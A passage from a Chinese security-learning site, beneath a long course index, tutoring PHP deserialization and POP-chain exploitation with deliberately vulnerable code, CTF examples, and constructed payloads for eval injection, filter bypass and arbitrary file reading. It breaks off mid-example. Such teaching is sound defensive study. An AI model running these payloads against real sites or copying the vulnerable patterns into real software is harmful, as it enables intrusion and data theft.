公开文集
0x01 信安之路安全产品
0x01 SRC 资产管理系统
001 企业资产有那些?
002 订阅最新 POC
003 IP 域名关联查询
004 公益权重数据
0x02 安全学习成长平台
001 成长平台视频参考
100 百分成就-学习心得-TOP 21 小伙伴
101 百分成就-学习心得-不想起床
102 百分成就-学习心得-不驚
103 百分成就-学习心得-aiDa0
104 百分成就-学习心得-起十二
105 百分成就-学习心得-Eyes
201 你为什么选择信安之路!
0x03 安全知识库
001 蜜罐运营专辑
0x04 自研蜜罐系统
0x02 Web 漏洞案例库
0x01 配置安全
001 header 安全配置
002 首页信息泄露
003 HTTP 访问控制 (CORS)
0x02 安全控制缺失
001 速率限制绕过
0x03 应用逻辑
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x04 星球讨论知识问答
信息安全入门
学习方向选择
学习经验分享
安全产品研发
代码审计
物联网安全
APT
安全防御建设
安全建设经验
数据泄露监控
网络安全
终端安全
主机安全
产品安全
安全意识
数据安全
内部资产管理
安全管理
应急响应
网络安全架构
安全运营
业务安全
运维安全
渗透测试技术
信息收集
EXP/POC
web 测试
APP测试
内网渗透
0x05 代码审计小挑战
01 前端安全问题
101 script 标签下的 XSS
102 消息事件引发的 DOM XSS
104 常规评论 xss 漏洞
105 页面开放重定向漏洞
106 部分过滤的 xss 漏洞绕过
107 基于 DOM 的 XSS
108 CORS 配置错误
109 退出登录出 XSS
110 URL 重定向漏洞
111 CSRF 漏洞利用
112 JavaScript 代码注入
113 xss 绕过括号和反引号检测
02 文件操作类问题
201 Django 任意文件读取漏洞
202 php 后缀黑名单验证绕过上传
203 jsp 任意文件上传
204 jsp 代码中的 SSRF 漏洞
205 jsp 目录穿越漏洞
206 PHP文件包含漏洞
207 Django 本地文件包含
208 文件包含功能绕过
209 SSRF 跨服务端请求伪造
210 本地文件包含漏洞 windows
211 目录穿越漏洞
212 文件上传绕过
213 php 文件包含漏洞
03 注入类问题
301 由 SQL 注入引发的命令执行
302 php8 XML 实体注入
303 正则问题导致验证绕过
304 XPath 注入
305 典型认证 SQL 注入
306 数字型 SQL 注入
307 主机头(host header)注入
308 LDAP 注入
309 典型的万能密码漏洞
310 Ldap 注入漏洞代码
04 命令执行类问题
401 调用第三方工具时被劫持
402 原型污染导致命令执行
403 php array_map 代码执行
404 命令执行绕过检测
405 SSTI 模板注入
406 文件名注入 RCE
407 无防护命令执行
408 python eval 注入
409 绕过多个黑名单命令
05 业务逻辑类问题
501 django 认证 jwt 未验证 token
502 绕过权限检测执行命令
503 密码找回邮箱地址大小写绕过
504 DNS 重绑定问题
505 权限比对逻辑问题
506 越权访问其他用户的记录
507 用户注册问题
508 用户权限验证逻辑问题
509 PHP 判断两个变量相等逻辑问题
06 反序列化类问题
601 php 反序列化漏洞
602 python 反序列化漏洞
09 C语言问题
901 c 条件竞争
902 缓冲区溢出
903 通配符注入提权
0x99 AI 教你学安全
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
601 php 反序列化漏洞
 典型的反序列化问题,未对用户输入参数进行检测 # php反序列化从入门到放弃(入门篇) > https://www.cnblogs.com/bmjoker/p/13742666.html Hvv期间爆出来一个漏洞:Yii框架反序列化RCE利用链。php反序列化已经从最开始的CTF宠儿,到现在框架的pop利用链构造,利用方式也越来越多样化。遂来系统性的学习一下php反序列化,本系列文章会从php反序列化漏洞的基础开始(入门篇),结合一些cms实例来学习pop利用链的构造,最后对Yii框架反序列化RCE利用链漏洞进行分析(放弃篇)。 ## 1 php反序列化基础 ### php类与对象 类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。 ``` <?php class people{ //定义类属性(类似变量),public 代表可见性(公有) public $name = 'joker'; //定义类方法(类似函数) public function smile(){ echo $this->name." is smile...\n"; } } $psycho = new people(); //根据people类实例化对象 $psycho->smile(); ?> ```  上述代码定义了一个people类,并在在类中定义了一个public类型的变量$name和类方法smile。然后实例化一个对象$psycho,去调用people类里面的smile方法,打印出结果。 这就是php类与对象最基础的使用。 ## 2 魔术方法 为什么被称为魔法方法呢?因为是在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。下表为php常见的魔术方法: | 方法名 | 作用 | | -------------- | ------------------------------------------------------------ | | __construct | 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值 | | __destruct | 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用 | | __toString | 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法 | | __wakeup() | 使用unserialize时触发,反序列化恢复对象之前调用该方法 | | __sleep() | 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化) | | __destruct() | 对象被销毁时触发 | | __call() | 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法 | | __callStatic() | 在静态上下文中调用不可访问的方法时触发 | | __get() | 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性) | | __set() | 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行 | | __isset() | 当对不可访问属性调用isset()或empty()时触发 | | __unset() | 当对不可访问属性调用unset()时触发 | | __invoke() | 当脚本尝试将对象调用为函数时触发 | 额外提一下__tostring的具体触发场景: > (1) echo($obj) / print($obj) 打印时会触发 > > (2) 反序列化对象与字符串连接时 > > (3) 反序列化对象参与格式化字符串时 > > (4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) > > (5) 反序列化对象参与格式化SQL语句,绑定参数时 > > (6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时 > > (7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用 > > (8) 反序列化的对象作为 class_exists() 的参数的时候 举个例子: ``` <?php class animal { private $name = 'caixukun'; public function sleep(){ echo "<hr>"; echo $this->name . " is sleeping...\n"; } public function __wakeup(){ echo "<hr>"; echo "调用了__wakeup()方法\n"; } public function __construct(){ echo "<hr>"; echo "调用了__construct()方法\n"; } public function __destruct(){ echo "<hr>"; echo "调用了__destruct()方法\n"; } public function __toString(){ echo "<hr>"; echo "调用了__toString()方法\n"; } public function __set($key, $value){ echo "<hr>"; echo "调用了__set()方法\n"; } public function __get($key) { echo "<hr>"; echo "调用了__get()方法\n"; } } $ji = new animal(); $ji->name = 1; echo $ji->name; $ji->sleep(); $ser_ji = serialize($ji); //print_r($ser_ji); print_r(unserialize($ser_ji)) ?> ```  ## 3 php序列化/反序列化 在开发的过程中常常遇到需要把对象或者数组进行序列号存储,反序列化输出的情况。特别是当需要把数组存储到mysql数据库中时,我们时常需要将数组进行序列号操作。 php序列化(serialize):是将变量转换为可保存或传输的字符串的过程 php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用 这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。 常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。 **序列化** 举个序列化小栗子: ``` <?php class object{ public $team = 'joker'; private $team_name = 'hahaha'; protected $team_group = 'biubiu'; function hahaha(){ $this->$team_members = '奥力给'; } } $object = new object(); echo serialize($object); ?> ```  以上是序列化之后的结果,o代表是一个对象,6是对象object的长度,3的意思是有三个类属性,后面花括号里的是类属性的内容,s表示的是类属性team的类型,4表示类属性team的长度,后面的以此类推。值得一提的是,类方法并不会参与到实例化里面。 需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化。 - 使用public修饰进行序列化后,变量$team的长度为4,正常输出。 - 使用private修饰进行序列化后,会在变量$team_name前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17。 - 使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13。 通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则: > 1. 受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名] > > > > 2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名] > > > > 其中,"\x00"代表ASCII为0的值,即空字节," * " 必不可少。 序列化格式中的字母含义: ``` a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string ``` **反序列化** 反序列化的话,就依次根据规则进行反向复原。 这边定义一个字符串,然后使用反序列化函数unserialize进行反序列化处理,最后使用var_dump进行输出: ``` <?php $ser = 'O:6:"object":3:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}'; $ser = unserialize($ser); var_dump($ser); ?> ```  ## 4 **php反序列化漏洞(对象注入)** 在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。 挖掘反序列化漏洞的条件是: > 1. 代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。 > > > > 2. unserialize()函数的参数可控。 **php对象注入示例一:** ``` <?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test); } } $test = $_POST['test']; $len = strlen($test)+1; $p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($p); // 反序列化同时触发_destruct函数 ?> ``` 如上代码,最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。根据上面的魔术方法的介绍,当程序跑到unserialize()反序列化的时候,会触发__destruct()方法,同时也可以触发__wakeup()方法。但是如果想注入恶意payload,还需要对$test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test变量进行覆盖。  可以看到当我们传入的参数为 phpinfo()  这样的话在调用__destruct方法执行eval之前就把变量$test的值替换成恶意payload。 **php对象注入示例二:** 这是来自bugku的一道题。[题目地址](http://123.206.87.240:8006/test1/) index.php ``` <?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")) { echo "hello friend!<br>"; if(preg_match("/flag/",$file)) { echo "不能现在就给你flag哦"; exit(); } else { include($file); $password = unserialize($password); echo $password; } } else { echo "you are not the number of bugku ! "; } ?> ``` hint.php ``` <?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?> ``` hint.php文件中使用了魔术方法__tostring()方法,当一个对象被当作一个字符串被调用时即可触发,方法的主要作用是读取并打印传进来的$file,估计是通过反序列化漏洞来读取flag.php的内容。追踪以下调用链,在index.php文件中发现使用echo将反序列化的对象当作字符串打印,此处就会触发__tostring()方法,并且unserialize()内的变量可控,满足反序列化漏洞条件。直接构造payload:(关于使用php://filter进行任意文件的读取,参照p牛:《[谈一谈php://filter的妙用](https://www.leavesongs.com/PENETRATION/php-filter-magic.html)》)  **php对象注入示例三:** ``` <?php class test{ var $test = '123'; function __wakeup(){ $fp = fopen("flag.php","w"); fwrite($fp,$this->test); fclose($fp); } } $a = $_GET['id']; print_r($a); echo "</br>"; $a_unser = unserialize($a); require "flag.php"; ?> ``` 如上代码主要通过调用魔术方法__wakeup将$test的值写入flag.php文件中,当调用unserialize()反序列化操作时会触发__wakeup魔术方法,接下来就需要构造传进去的payload,先生成payload: ``` <?php class test{ var $test = "<?php phpinfo(); ?>"; } $test = new test(); echo serialize($test); ?> ```  传入payload:  在执行unserialize()方法时会触发__wakeup()方法执行,将传入的字符串反序列化后,会替换掉test类里面$test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。 # 2 **php反序列化利用—POP链构造** 上面的两个例子都是基于 " 自动调用 " 的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 " 自动调用 " 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。 ## 1 **POP链简介** **1. POP 面向属性编程(Property-Oriented Programing)** 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 " gadget " 找到漏洞点。 **2. POP CHAIN** 把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。 ## 2 **POP链利用技巧** **1. 一些有用的POP链中出现的方法:** ``` - 命令执行:exec()、passthru()、popen()、system() - 文件操作:file_put_contents()、file_get_contents()、unlink() - 代码执行:eval()、assert()、call_user_func() ``` **2. 反序列化中为了避免信息丢失,使用大写S支持字符串的编码。** PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即: ``` s:4:"user"; -> S:4:"use\72"; ``` **3. 深浅copy** 在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。 ``` $A = &$B; ``` **4. 利用PHP伪协议** 配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。 ## 3 **POP链构造小例子一** ``` <?php class main { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "hello bmjoker"; } } class evil { private $data; function action() { eval($this->data); } } //$a = new main(); unserialize($_GET['a']); ?> ``` 如上代码,危险的命令执行方法eval不在魔术方法中,在evil类中。但是魔术方法__construct()是调用normal类,__destruct()在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法,并伪造evil类中的变量$data,达成任意代码执行的目的。这样的话可以尝试去构造POP利用链,让魔术方法__construct()去调用evil这个类,并且给变量$data赋予恶意代码,比如php探针phpinfo(),这样就相当于执行<?php eval("phpinfo();")?>。尝试构造payload:  编写我们想要执行的效果,然后进行序列化。 但是由于$ClassObj是protected类型修饰,$data是private类型修饰,在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。 最后payload为: ``` O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D ```  ## 4 **POP链构造小例子二** ``` <?php class MyFile { public $name; public $user; public function __construct($name, $user) { $this->name = $name; $this->user = $user; } public function __toString(){ return file_get_contents($this->name); } public function __wakeup(){ if(stristr($this->name, "flag")!==False) $this->name = "/etc/hostname"; else $this->name = "/etc/passwd"; if(isset($_GET['user'])) { $this->user = $_GET['user']; } } public function __destruct() { echo $this; } } if(isset($_GET['input'])){ $input = $_GET['input']; if(stristr($input, 'user')!==False){ die('Hacker'); } else { unserialize($input); } }else { highlight_file(__FILE__); } ``` 像如上代码比较复杂的可以先定位魔术方法与漏洞触发点。在代码中发现__toString()魔术方法调用了file_get_contents()来读取变量$name的数据。当程序执行结束或者变量销毁时就会自动调用析构函数__destruct()并使用echo输出变量,__toString()方法在此时会被自动调用。关键在于如果能控制变量$name,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量$user,并且传入的$user还不能包含 "user" 子符串。解决方法: 1. $input 前端传进来的参数不允许包含"user"字段,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用16进制即可绕过 2. $name字段不可控,$user字段可控,可以使用浅copy来实现赋值。 尝试构造payload: ``` <?php class MyFile { public $name = '/etc/hosts'; public $user = ''; } $a = new MyFile(); $a->name = &$a->user; $b = serialize($a); $b = str_replace("user", "use\\72", $b); $b = str_replace("s", "S", $b); var_dump($b); ?> ```  一般POP链都是反着程序来生成,将我们要实现的代码序列化,传入程序进行反序列化 ,就可以让程序按照我们的想法执行。 如上代码我们的目的是去操控$name的值,但事实只有$user的值可控,所以采取浅copy:a->name = &a->name = &a->user。当变量$user改变时,变量$name也会跟着改变(其实就是指针指向的问题)。这样就可以通过控制变量$user的值来控制$name的值。紧接着下面两个str_replace目的是在序列化内容中用大写S表示字符串,这个字符串就支持将后面的字符串用16进制表示,就可以绕过代码中对用户输入"user" 字符串的检测。尝试执行payload:  传入user=D://1.txt,就相当于替换$this->name的值,成功读取文件。 ## 5 **POP链构造小例子三** 这个小例子来自于《[PHP反序列化由浅入深](https://xz.aliyun.com/t/3674#toc-14)》,这个例子有点意思。 ``` <?php class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:xxxxxxxxxxxx"; } } $a = $_GET['string']; unserialize($a); ?> ``` 最后的目的是获取flag,也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。 1. string1中的__tostring存在$this->str1->get_flag(),分析一下要自动调用__tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。 ``` $this->str1 = new GetFlag() ``` 2. 